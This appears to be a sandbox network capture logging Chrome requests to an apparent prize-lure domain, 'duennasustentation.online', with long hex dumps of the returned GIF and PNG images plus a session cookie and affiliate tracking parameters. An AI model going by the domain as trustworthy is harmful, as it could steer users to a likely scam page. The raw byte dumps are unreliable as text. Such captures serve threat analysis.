2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 9d 92 04 9c 8f 03 aa 96 01 99 86 01 4e 41 13 a2 91 00 0e 0f 10 99 8b 04 a6 8d 02 97 8d 14 b1 a2 0e a4 94 08 a0 8e 04 a7 9d 0c 93 86 04 a1 95 03 b5 a3 17 4c 40 07 a3 9d 26 96 88 09 b0 9b 04 16 16 15 42 3a 08 3f 34 04 ad 98 01 c3 bb a4 c0 ba 59 8d 81 19 1c 13 02 1f 1e 1f 9f 99 10 82 79 06 26 1e 02 79 70 12 aa 91 03 a8 a0 02 7b 71 02 b5 a3 24 a4 9b 1f fa fa fc fe fd eb b2 9f 14 a7 94 0e ac 97 0e 22 16 04 ff fe f8 7d 76 0c 5c 54 07 98 91 06 4f 47 05 a5 9d 04 73 6c 06 93 82 02 a7 9e 16 65 5a 10 34 31 05 ae 9a 18 a1 92 10 70 64 0b af 94 05 90 7d 05 83 75 02 b0 a3 1b ae a1 19 0f 05 0c 9c 87 03 2f 28 03 6a 6b 6a b6 a8 1b 58 4b 06 91 8d 05 9d 8a 04 c2 b9 60 35 36 35 a0 9d 04 9e 94 1a 9c 8e 11 8a 7b 11 2e 20 04 87 7b 01 f5 f4 f5 60 60 5e 3e 3d 3e ae a4 26 97 8c 1f Data Ascii: NAL@&B:?4Yy&yp{q$"}v\TOGsleZ41pd}u/(jkjXK`565{. {``^>=>&
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: d2 21 52 0e da 9d 2d ad 45 11 28 82 e1 ea d4 23 eb ad 71 04 59 f1 41 65 ad e9 e8 f6 2d 9b d5 69 5b 0a 1a 37 f5 96 65 86 c7 16 27 10 f2 e5 87 1a 39 08 0b 61 14 74 37 f0 9d b6 11 b9 26 2c 71 f1 5d b7 84 ca 03 36 a3 8c 32 cb 86 5a 4f ab b9 5c 8c 95 b1 ef 69 92 48 8a cd ac 6d 8c 90 72 31 04 a5 81 c1 0f 41 18 38 a7 e0 e8 be d5 15 42 e1 52 af da 35 08 43 2a 6d cc 34 94 0e 75 58 5e 78 6e f1 82 bf 13 fa 7c ef be 4e c5 29 93 75 68 ea 77 64 e0 52 26 5e 9d a9 cb ce 5e bb e3 bc 1a 07 fb c1 80 05 63 02 18 c6 64 42 0d 0b c5 0b b4 5d 31 64 9c ae 2c 8d 56 ea f2 95 d6 98 b8 17 de 5a 3b 7b 22 b4 cf 0a b8 fb e6 43 df 7e 9f e0 20 7f da bb 2d 6c 29 2d 35 7c 98 ca 61 b2 d0 ed 99 d6 2a 87 57 ca 66 14 b9 66 bf 0c 06 3e 5e 42 68 4b 66 5c 2f 60 82 8c c2 d6 2a e2 44 e1 e6 48 8c a5 Data Ascii: !R-E(#qYAe-i[7e'9at7&,q]62ZO\iHmr1A8BR5Cm4uX^xn\|N)uhwdR&^^cdB]1d,VZ;{"C~ -l)-5\|aWff>^BhKf\/`*DH
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: c0 ac 83 9d 9f 26 a3 60 ee dd 49 71 9b 30 d6 16 1d 25 ca 7a eb ad b7 1f 9c a4 fa 86 92 f9 66 b2 78 e7 76 4c 9a 52 1a a6 5d c3 45 d1 be 55 bb 6b d2 a1 c3 c8 b3 35 6c 26 b6 a5 d2 5a ac f0 99 31 eb 77 b5 fe 81 57 15 8a f5 b5 1c 29 1a 79 72 5b 1d 82 1c 1c 15 e7 1c 8f 47 04 dc e8 4c cd f2 0c 0c 6d 8b 49 48 4c 7c f1 95 c9 66 52 de 8f 11 24 11 95 c2 44 0b 5a 5f 3b 02 b6 1a 19 bf 15 7a 8b ec 3b 9c 8e 80 f9 e0 a7 2f d7 17 fb f8 fd f1 6e 43 c0 18 d9 e3 55 cd 06 77 88 61 cd db c4 ef 6d 6c fa 0e 94 9e bb a5 35 36 93 83 b2 8e bc 96 f8 dc cb 0f 4f fa bb fe 09 4a e4 e8 e2 60 82 4c 45 78 1a 13 45 b9 7d e2 3e 36 82 1c 1e 8d 07 8b 2e e8 4a 52 dc eb f1 17 91 b4 94 97 f0 a3 00 c5 b8 35 db 9a 6a 58 c8 c9 9c 66 a0 c2 4c b5 36 68 31 b4 20 3c f6 b9 e5 93 f7 b9 de 2e e2 d9 02 4c Data Ascii: &`Iq0%zfxvLR]EUk5l&Z1wW)yr[GLmIHL\|fR$DZ_;z;/nCUwaml56OJ`LExE}>6.JR5jXfL6h1 <.L
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: ad 78 e7 9d 75 eb 06 06 de 19 58 b7 62 c5 b9 15 03 2b 00 eb a0 06 6a e9 d3 8a 81 77 a0 fa 1c b4 be 43 57 42 05 88 0d ac 83 8a 15 70 ac 58 07 77 13 18 18 38 b7 62 1d b4 ac 38 07 62 03 03 20 bc 6e fc 8f 96 1e 80 6e e0 51 78 f6 86 fc c0 b9 73 e7 7e f8 7a bf 85 a6 e2 cb f3 cc fd a8 a5 f4 8c cd 69 a4 83 f2 88 72 cc a5 54 1a 6d ca 09 38 95 ca 31 a5 db ad 77 2b 5d 4e 9b d3 6d 73 1b a1 a0 54 da 64 20 ef 84 7f 30 8c e9 8d 36 b7 de e5 be 2e 6f 0c b1 d9 47 8c 4a 65 7f bf 8b ee 71 44 69 83 0b 3c 6a 84 2e 65 46 bd cb a6 b4 bb 65 32 9b eb 46 ff 7a a2 67 a0 73 7f 15 4d c5 83 38 93 fb 91 b2 7f cc 25 d3 f3 e4 46 bb d9 6e 37 c8 5c f9 76 91 5d 36 8e 0e bd 5e 26 17 d9 c7 e8 7b 97 48 e4 a0 64 ce 52 99 5e 6e 96 b9 5c 7a b9 4c 24 32 d2 27 bb 5d 2e 9a 00 29 72 8c 8b f2 f4 32 83 Data Ascii: xuXb+jwCWBpXw8b8b nnQxs~zirTm81w+]NmsTd 06.oGJeqDi<j.eFe2FzgsM8%Fn7\v]6^&{HdR^n\zL$2'].)r2
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 6c d9 58 62 7e e3 5e 91 db bd 64 13 b5 4e 24 96 f1 b7 c6 f1 35 c5 7b 9c b3 15 07 a7 2b 0e 3e 47 d0 cb 5d 60 58 ce 3c 0a 25 c9 8a ca d4 07 e2 35 29 85 02 85 cd b4 e4 b1 d9 be 56 b1 44 df 7f bc 3f a0 0a 87 54 65 6b f5 a1 da 9a 71 57 7a fb f8 08 5b 18 3e cb 40 c7 8e ba d2 e1 d3 3e 8a 63 b5 a3 e9 47 d3 45 1f 30 99 35 e1 38 da 1c ee 4a 9f 99 07 67 28 ea 25 d0 2c f8 ab 1a 98 19 90 b6 d2 fc 75 ab ca d0 ae 1a df ce 49 92 53 38 1a 4e 46 e5 21 6b d1 51 97 4a 35 26 43 ca ab 0e b2 b1 22 79 55 71 a6 95 2e 53 69 e4 14 ee 88 20 df e6 72 a9 db 27 c6 55 2a 13 98 2d ff 17 aa 14 f1 50 de b2 79 60 0c 45 7b 2f 4a ba 1d 86 61 f8 48 7a 21 8a 35 e2 0c 02 17 50 25 b6 1e 85 94 60 32 41 4a 28 e8 9f ef c5 d0 22 0d 3f 56 3e 2e c1 fa 66 fa 19 18 bc 5c 98 44 32 eb 29 d9 94 14 39 47 c3 Data Ascii: lXb~^dN$5{+>G]`X<%5)VD?TekqWz[>@>cGE058Jg(%,uIS8NF!kQJ5&C"yUq.Si r'U*-Py`E{/JaHz!5P%`2AJ("?V>.f\D2)9G
2025-01-08 14:44:38 UTC	78	IN	Data Raw: 4a b3 5a ae 9e a6 b2 47 94 d9 87 20 02 5d 7e bc 56 46 c5 84 e4 dc a9 4f 19 7f ed 5f 0b 66 9f 43 b1 41 3a 08 21 a1 ff e8 43 85 00 65 ec 6b f8 5a 26 c0 c3 5d 6a 6d 3b 8d 45 fb 63 5a cd 79 e7 4f c8 75 22 8b c1 68 ec 50 60 10 59 b7 e3 10 Data Ascii: JZG ]~VFO_fCA:!CekZ&]jm;EcZyOu"hP`Y
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 2e e5 e1 54 b0 36 3a b4 0b cc ac f6 6d f7 fd 05 37 ba f2 1c 73 4f e1 b2 1a 64 1e 13 f8 3f 40 c6 49 8f cd c5 85 b5 3d 2c ad 9b 46 9b 73 cf 47 fc be b9 00 85 b8 d5 c5 f2 98 68 2c 83 8f d3 82 63 cd ae 78 2b cc 44 21 6c 8b 49 0b 26 21 a5 83 35 4e bb b8 eb 77 a3 4b ce d1 b8 46 c8 44 c3 33 53 ef 20 08 8a 13 a8 14 1f db 43 93 09 99 d5 ed 6e b7 df ef f7 7a 1d e1 51 7f 94 d5 3d f7 9a 88 e8 3b ed f3 a2 3a b5 38 1f c5 66 e3 44 b0 2d e8 7e e6 cb 13 9d 09 c0 98 41 11 59 cb 4e fe 0d eb 0c af 5f f4 6c c3 e2 21 68 61 91 97 3b 8f 74 d1 21 0a 0d 03 6e eb cc f6 3e 14 ef 13 cd 79 1d ce a2 2d 77 df 7d cd a6 33 37 2e 57 5f 12 7a ab aa 6a 9a 8a 94 f7 24 cd 12 82 82 e1 a1 a1 e1 c9 84 93 39 d0 ba 20 cc ac e4 89 73 d6 e3 d3 17 5e b1 4b 2d da 4b 25 18 58 37 e4 c8 10 fa 29 e0 43 11 Data Ascii: .T6:m7sOd?@I=,FsGh,cx+D!lI&!5NwKFD3S CnzQ=;:8fD-~AYN_l!ha;t!n>y-w}37.W_zj$9 s^K-K%X7)C
2025-01-08 14:44:38 UTC	1253	IN	Data Raw: 73 3a 87 0f 27 0c 75 0e 16 50 71 28 48 31 61 a1 73 67 a6 bd 10 88 1a b5 22 91 c9 bd b8 e4 a6 dd b9 91 d5 4b 97 17 f3 7d 06 77 87 d6 cd 12 59 71 36 ba d7 c1 a5 78 ac e4 2c 2f a7 4b 8a 08 31 68 62 4e 7e 39 05 ac 2a 70 f1 ce c1 23 27 5e 26 0d e6 e4 e1 9c ae a9 12 68 63 11 06 1b 06 b4 15 2a 9d a6 42 c2 44 a8 c7 5b 21 c4 e2 f1 cc 79 fc 73 17 6c 84 10 4d 31 7a 68 7e 8f 3d 5d ad 32 1d 67 0a 31 5e 65 7a 52 8a 1d 1a 6f 92 2f 81 d2 e9 cf 00 91 54 fa 65 42 37 f0 25 07 87 5f 9e ec 22 cd 77 b2 e4 15 42 ff da 89 49 3d 5b 80 4a b2 0c b1 b1 1d f0 72 88 fc 7a 53 47 87 d3 ee 05 38 bc 1b 30 96 4b ee 31 b8 bd 4e e7 ed 91 a1 d7 66 c8 b9 d5 e5 d0 66 96 f7 ba ca 1a c6 6a 21 52 ca 86 06 f7 b5 37 5f 42 91 a9 92 1c b2 af 39 f1 ca 2b bb 27 f5 24 fb f6 14 41 e8 85 52 2a 2e c9 b2 65 Data Ascii: s:'uPq(H1asg"K}wYq6x,/K1hbN~9p#'^&hcBD[!yslM1zh~=]2g1^ezRo/TeB7%_"wBI=[JrzSG80K1Nffj!R7_B9+'$AR*.e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49752	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:37 UTC	822	OUT	GET /images/loadingRD.gif HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:38 UTC	1049	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:38 GMT Content-Type: image/gif Content-Length: 124490 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2953-1e64a" expires: Wed, 08 Jan 2025 14:44:37 GMT last-modified: Tue, 07 Jan 2025 13:17:07 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uWkUSNthRZTNYov1LdR9WJSBRmhmutfa3uzXU7zgJAFY%2B8PZBRoHDdcuyeYi6RhCalCAhiqkcFKRGt3diFYVPbtvtyp2AP%2Fq3B8TCZutrwG67bCNhZR1rqswWj8XMuiTlcuEF3%2FH8HdvVVsZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7772c5f330c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1835&min_rtt=1799&rtt_var=748&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1400&delivery_rate=1395793&cwnd=190&unsent_bytes=0&cid=19b635bff06c25b2&ts=944&x=0"
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 47 49 46 38 39 61 b8 00 b6 00 f7 00 00 00 00 00 ff ff ff c9 83 86 ca 8a 93 cb 91 9f cc 99 a9 ce a1 b2 d0 ac ba db cd d3 d2 ae c0 d5 b8 c7 d7 c0 cc da c3 d1 e5 db e1 dc c9 d5 df cd d8 e0 d0 da e2 d5 dd e2 d7 de e2 d2 dd e5 d5 e1 ed e9 ec e8 e4 e7 e6 e2 e5 e6 dd e4 e7 dd e5 e5 d9 e3 f2 ec f1 e6 e0 e5 e7 d8 e5 e6 d8 e4 f4 ed f3 e8 e1 e7 e7 e0 e6 ea d9 e8 e7 d7 e5 e6 dd e5 f2 e9 f1 e7 de e6 f3 eb f2 f0 e8 ef f1 e6 f0 ee e3 ed e8 de e7 ed e3 ec e9 df e8 ea db e9 e9 da e8 e7 d8 e6 eb dd ea eb de ea e9 dc e8 e8 db e7 e7 db e6 e8 d8 e7 f4 eb f4 f3 ea f3 ea e2 ea f4 ed f4 ed e6 ed eb e4 eb e9 e2 e9 f6 f0 f6 f3 ed f3 f9 f4 f9 eb e6 eb fc f8 fc f7 f3 f7 f1 ed f1 ee ea ee eb e7 eb e9 e5 e9 e8 e4 e8 fd fa fd fb f8 fb f8 f5 f8 f4 f1 f4 fe fc fe f6 f4 f6 f3 f1 f3 eb e9 Data Ascii: GIF89a
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 41 c0 36 77 c2 60 d3 f1 75 24 b2 ca 66 8b 5d 80 61 9d 90 ea b3 0a 29 91 c2 96 d8 6a 6b ee b2 d2 b1 90 9a 8f df fa aa 0e 10 99 8a 30 e4 b9 f4 be d7 81 0d 1a b2 30 c4 53 f8 55 0a d2 10 fe d5 2b 70 81 09 ea e0 ac bb 3f 44 c7 97 6e da 0d ec 70 6f b9 dd f6 43 bb 80 86 d4 6a a2 0f 67 0c 5f 77 25 b8 e4 ef 14 12 96 ab f1 c8 be 75 a7 c2 5a 07 b7 26 28 c8 d1 d5 39 2f c9 30 7f 46 9a 0a 7d 34 48 e2 63 20 c7 90 db 9c 2f c7 ec f3 68 84 a1 dc 58 95 3c 42 96 97 cf 48 bb d7 02 0b 7d 38 4b 74 4f 4f 37 97 f3 7f 49 57 1d da 08 1d cc 40 73 bb 51 ff 14 11 64 fd 65 86 ef a7 56 23 ad a1 0d 01 b6 90 eb ae 6f f5 aa ce 09 0b 6b 76 76 d9 49 9f 1d 60 70 28 7c 9b f2 4c 7f aa ff f3 03 0b 64 5b 4b 77 d9 07 ca 30 71 93 7d 0a f5 a7 0f d1 75 28 f2 e0 31 1f d8 9d 0f 93 42 d5 23 10 61 7d ea Data Ascii: A6w`u$f]a)jk00SU+p?DnpoCjg_w%uZ&(9/0F}4Hc /hX<BH}8KtOO7IW@sQdeV#okvvI`p(\|Ld[Kw0q}u(1B#a}
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 3b 8b df 58 47 59 d2 b4 82 ea 02 7a 1c 6a 67 6c 83 00 f9 35 d4 74 0e 9d 68 3c e3 99 b3 d5 18 40 b1 3b d3 1d 07 88 03 c9 97 4e ef 33 b0 81 6d 67 47 3a 72 27 4d 80 5b e1 2a d7 b9 4a 63 1b 78 2d 6a 6e ce 76 52 01 d8 b9 c2 16 de ac 34 c2 71 80 71 1f 49 06 0f 38 37 c0 17 bc 6e 02 40 c0 dd 0a 51 c7 9c 33 16 5b 05 4c 15 1b d3 98 86 35 b2 fa 59 4e 4f 74 04 0c f0 86 34 72 ad e8 66 58 43 dc d5 ff ed ed 39 a6 11 dc 6f 13 97 d9 b0 86 73 81 ed a9 5b b3 cd a7 a7 3f 3d 87 50 19 40 01 f9 88 66 02 07 e8 c6 34 e2 7a de b9 3e c3 1a e7 78 00 6f 3c 0d 6a 97 63 58 c3 0b 88 40 47 c1 6b cf c8 fa 4c 8f 26 0d ab 76 8b 1a d3 93 2a 00 1d db 18 7a 5d ad 11 8e 7c b3 12 bb 94 05 74 8d a7 21 ee d7 c2 19 b7 55 87 76 b2 e6 f6 d0 0f 71 68 4e bd 81 c1 0c 76 ec 5f 71 88 63 1c 03 50 b1 8b d2 Data Ascii: ;XGYzjgl5th<@;N3mgG:r'M[Jcx-jnvR4qqI87n@Q3[L5YNOt4rfXC9os[?=P@f4z>xo<jcX@GkL&vz]\|t!UvqhNv_qcP
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 2f 01 12 4a 30 19 41 92 97 8b 92 58 09 62 1a 22 72 80 60 0a a7 53 21 a7 67 72 1e 77 91 17 7b 11 18 88 8a a8 a4 31 1c 87 4f 31 1e 54 fa a7 80 0a 15 54 a1 04 56 81 15 5a c1 15 5f f1 15 61 b1 a9 de c1 02 67 91 16 4b c0 16 6f 1a a9 45 6a 13 48 b1 14 4a e1 14 19 4a aa ac 6a 92 ad 0a a8 c8 a9 10 b0 f9 aa b4 6a 1e 4c 52 ab b8 8a 10 aa 9a ab b5 0a 9e 40 11 a9 01 01 00 21 f9 04 05 03 00 ee 00 2c 04 00 00 00 b0 00 b6 00 00 08 ff 00 dd 09 1c 48 b0 a0 c1 83 08 13 2a 5c c8 50 8a 94 83 01 dc 45 64 38 91 a1 c5 8b 18 33 6a dc c8 b1 23 c1 8a 17 03 88 1c 29 d2 a3 c9 93 28 53 aa 54 08 92 22 c9 91 2b 63 ca 9c 49 73 65 c4 96 35 73 ea dc c9 53 62 cf 9f 40 67 e2 f4 48 32 a8 d1 a3 35 65 b8 53 aa 54 60 53 83 4a d4 49 45 4a b5 6a c5 92 55 05 62 cd ca 55 a6 3a 25 05 5d 1c dd da b5 Data Ascii: /J0AXb"r`S!grw{1O1TTVZ_agKoEjHJJjjLR@!,H*\PEd83j#)(ST"+cIse5sSb@gH25eST`SJIEJjUbU:%]
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 6b 78 c1 50 04 88 87 47 84 0c 91 02 fa d9 0c 2d 81 88 10 67 58 63 5e 1e 70 87 01 ba 21 8d 67 38 c3 8a a3 c3 86 00 1c 30 81 0e 88 26 9b 15 bc 60 06 39 d9 ff 0c 73 7e 90 02 be 39 19 39 0f f2 4e aa c1 8b 02 1a 48 00 3a b6 51 0d 69 38 14 1b e4 18 c0 03 d2 59 10 a0 51 8d 00 99 7c 20 f2 f2 37 0d 72 f4 cf 3e ab 73 e0 26 05 72 00 5d 86 cb 67 80 33 80 00 c6 21 8e 73 10 80 7b 83 1a 9a 0d 28 f0 00 02 74 c3 1a 0e cd e9 35 c4 c1 bd ac 1d 64 1b 87 b4 a1 40 72 07 2f c7 44 20 80 94 a4 1a 40 8f c4 b4 0a 0e 53 00 e5 08 47 38 ba 81 8e 02 d0 d3 7d d8 49 ea 41 1a 68 3c 02 f8 0f 5d 5e ab 1b cc 5c 30 83 17 70 ad a2 18 9a 4e b4 68 ba 00 ca 41 e0 72 2e 20 df 41 12 f0 45 78 12 a4 74 e2 78 00 0c ea e5 ab 9d 9d a6 40 78 e9 40 b4 0c b8 1e 81 48 0b a5 e1 2b a0 5b 72 36 d3 75 82 92 20 Data Ascii: kxPG-gXc^p!g80&`9s~99NH:Qi8YQ\| 7r>s&r]g3!s{(t5d@r/D @SG8}IAh<]^\0pNhAr. AExtx@x@H+[r6u
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 0a 08 50 4e 38 e1 90 83 4e 01 0f e0 fa 57 9e ee 78 fa 40 02 02 a0 83 ce 39 04 30 30 c1 a5 57 ee 6a 65 87 78 8d f0 00 01 d9 58 23 cd b8 ee 4c 73 8d 38 0b 4c 10 aa 41 23 44 90 c0 38 da 88 3b cd bc dd 0c e0 00 05 30 3e 49 90 08 d3 b9 13 e5 a9 b4 e1 35 c1 00 d7 38 d3 4c 33 05 49 53 8e 02 14 4c 69 d0 01 e4 48 d3 0c 33 02 31 c3 8c 33 d8 9c d3 ec b6 08 79 ea ce b5 1b 13 ea 70 82 30 4c 70 80 36 12 1b 74 f1 34 e3 3c a0 a9 40 08 32 e0 cd 33 ce 58 5c 31 33 cd 3c 83 cd 00 c9 76 50 1a a3 ee b8 30 42 ad 0a 1c a0 00 03 c9 8e e0 02 c0 af a9 3a 8e 34 ce 0c 44 71 c5 ee 34 73 4d 02 1e 74 3a f0 34 16 4f 5d d0 33 e1 28 30 01 83 a6 e1 45 81 03 04 0c bb 4d 38 dd a0 93 00 c8 7d 7e a6 17 03 da 30 64 8d 00 03 09 3a 01 03 11 bb ff 63 73 41 17 57 33 40 d0 9b 56 76 80 39 d7 8c fb 8c Data Ascii: PN8NWx@900WjexX#Ls8LA#D8;0>I58L3ISLiH313yp0Lp6t4<@23X\13<vP0B:4Dq4sMt:4O]3(0EM8}~0d:csAW3@Vv9
2025-01-08 14:44:38 UTC	1369	IN	Data Raw: 80 30 e5 e7 b4 9f 79 63 d0 d0 b5 8d 98 e8 aa 55 ae 8d f8 d9 b6 d5 56 79 e6 ff f5 f0 80 00 39 6c 6f ad 6d 33 a7 a0 b1 40 17 0f bc 99 46 7c 1a f1 35 c6 0d 4f 06 57 10 4e 1a 74 e8 a9 9d 33 81 0b 22 20 04 d9 35 d2 3c 53 98 33 ce 3c 33 4d 37 67 59 95 c0 35 f5 d1 56 21 33 d3 08 a8 9c 7e 13 18 b0 cd 33 ff 3d d7 8c 33 df 40 40 20 47 14 10 40 e1 85 d1 75 b3 80 66 79 15 60 4d 88 d0 4d 53 ce 51 79 ed 15 41 01 d8 80 48 e3 6d de 3c 20 83 5d 2e 50 b0 40 37 d2 b0 88 98 35 02 e0 38 82 8c 3f 52 26 cd 8d ca e9 55 e4 01 1f 46 d9 a0 38 42 12 39 01 01 3d 46 f9 4c 38 37 e5 95 c0 8c 51 62 88 0e 8e af 31 d0 9f 96 d2 08 30 e0 40 2e c8 00 c1 38 d2 cc 46 a3 77 67 b1 e4 40 37 b6 fd 68 0d 01 30 0e 14 d3 39 d6 04 fa 9f 77 07 cc f9 9e 0c 0f 88 f3 8c 92 94 39 83 0d 01 10 b0 34 81 00 ce Data Ascii: 0ycUVy9lom3@F\|5OWNt3" 5<S3<3M7gY5V!3~3=3@@ G@ufy`MMSQyAHm< ].P@758?R&UF8B9=FL87Qb10@.8Fwg@7h09w94
2025-01-08 14:44:38 UTC	553	IN	Data Raw: 73 db 3c 57 f3 33 cd 31 36 e6 40 36 ce 18 cd b6 db 04 0d b0 f5 e2 02 59 4c 91 03 2d 84 49 41 da d2 14 5e d0 d2 d6 10 60 a3 0d 30 24 40 51 35 e8 0c b4 b8 ca 0c 7d e3 8e a4 03 4d 50 c0 36 cf 90 3e bb 34 e4 00 1d e3 6c 23 af fe 6a 98 16 0d 78 ce c5 0b 6d 73 c0 d6 31 c2 60 40 f4 0a 49 63 4e 41 5e 39 40 8e 40 3b 23 54 cd 00 05 89 e0 c2 03 e2 3c c3 50 dc b7 2b e0 ef 42 d3 9c 83 ed 0b c3 b2 8f fe 41 d2 08 87 02 da 97 2f 31 89 e0 01 df 90 1f c9 8e d6 0c 6c 18 c0 63 65 31 97 03 be 81 3d 84 10 60 02 9c 23 c8 38 2a a8 90 72 d9 68 02 04 c0 46 f2 94 77 34 67 48 e3 1b 0f 80 c1 ab 06 42 81 03 78 83 68 01 c3 98 34 ae 21 00 07 c0 00 48 5a 19 00 d1 c2 17 8e be cd c8 03 0e 08 5c 33 ff 48 b7 b3 66 3c 23 1c 09 00 9e ef a6 35 b5 70 58 4d 1a d3 c0 06 39 e4 a6 27 83 10 2b 1c 6b Data Ascii: s<W316@6YL-IA^`0$@Q5}MP6>4l#jxms1`@IcNA^9@@;#T<P+BA/1lce1=`#8*rhFw4gHBxh4!HZ\3Hf<#5pXM9'+k
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: 82 29 7c 98 a5 51 2e 61 89 a6 19 b5 69 99 52 8a 51 8c 62 6a 9b 6e 21 a8 47 a3 74 11 1d 30 c9 a3 32 68 50 45 94 00 a2 94 d2 29 a5 27 e9 68 a9 7c 5a 90 a3 ee f3 05 fa 3c 88 54 3b 95 55 a8 06 14 aa bc 2c 10 3e 6d 20 d4 12 f9 f2 52 e5 74 a6 a6 a8 8a 91 b4 82 55 44 6c 75 28 88 ca 0a d6 85 28 41 4a 75 a5 48 00 94 9a 57 86 3c f5 50 7f fd 88 43 22 d3 d5 68 09 64 09 38 fa cf 9c 30 d5 9f 92 18 83 22 ee bc 5d 95 ac 7a 92 c7 2e 24 b2 33 32 d3 7a 52 22 98 84 f6 55 20 9d 6d e8 67 4b 25 da 97 04 76 48 a7 e5 2c 4a 73 94 58 d5 c2 e9 21 a3 35 08 0a 02 44 14 d5 a0 c4 95 38 a9 bd 92 85 6c c0 3f ab bc 66 ab e1 b9 ad 4c d4 e1 27 7b 4a 67 06 5e 61 52 69 99 e2 96 dd 2c a8 b7 2a a0 ed 54 a4 70 d1 ae b8 15 30 3d ca ed 50 8c e1 1d eb 5e f7 2f 2a f4 53 6c 09 92 dd f1 1a 84 ae 7c 69 Data Ascii: )\|Q.aiRQbjn!Gt02hPE)'h\|Z<T;U,>m RtUDlu((AJuHW<PC"hd80"]z.$32zR"U mgK%vH,JsX!5D8l?fL'{Jg^aRi,Tp0=P^/Sl\|i
2025-01-08 14:44:39 UTC	1369	IN	Data Raw: d0 91 04 4b 1e 98 00 0c 15 30 c3 45 dd ce 36 1c c4 0a 07 f1 57 62 83 bc 05 51 06 46 6c a1 62 88 34 10 26 be c4 46 5c 81 62 13 99 e5 1a 27 0e c5 8a 56 6c d5 8e 50 44 11 23 71 f1 8b 11 92 02 72 c0 28 90 00 58 c8 1d 62 24 e3 41 cc c8 94 3c a9 11 21 6e 94 4d 6b 94 78 1f 2a 76 c6 3b 74 8c 8f 1d df a8 91 18 e4 91 8c 7f fc 62 20 bf 93 23 3e 26 c4 3c 86 4c a4 22 17 c9 c8 46 3a f2 91 90 8c e4 4f e2 b8 48 4a 4a 72 23 83 4c d0 1c 17 d9 9a fa 39 52 05 3f 6c e4 12 42 c9 48 75 fc 80 70 92 7c db 25 57 c9 ca 56 ba f2 95 23 c2 20 2c 67 49 4b 0f d5 f2 96 b8 cc a5 2e 77 c9 cb 5e fa f2 97 c0 fc c8 19 1d c9 a0 32 3e 72 42 c4 5c d0 31 95 99 cc 62 06 f3 2b 88 5c 64 70 9e 49 cd 6a 5a f3 9a d8 54 8f 88 46 d2 02 82 6c d3 3a c8 c1 89 4e 78 d2 91 31 62 47 26 d1 cc a6 3a d7 c9 4e a0 Data Ascii: K0E6WbQFlb4&F\b'VlPD#qr(Xb$A<!nMkx*v;tb #>&<L"F:OHJJr#L9R?lBHup\|%WV# ,gIK.w^2>rB\1b+\dpIjZTFl:Nx1bG&:N

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49754	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:37 UTC	819	OUT	GET /images/prize1.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
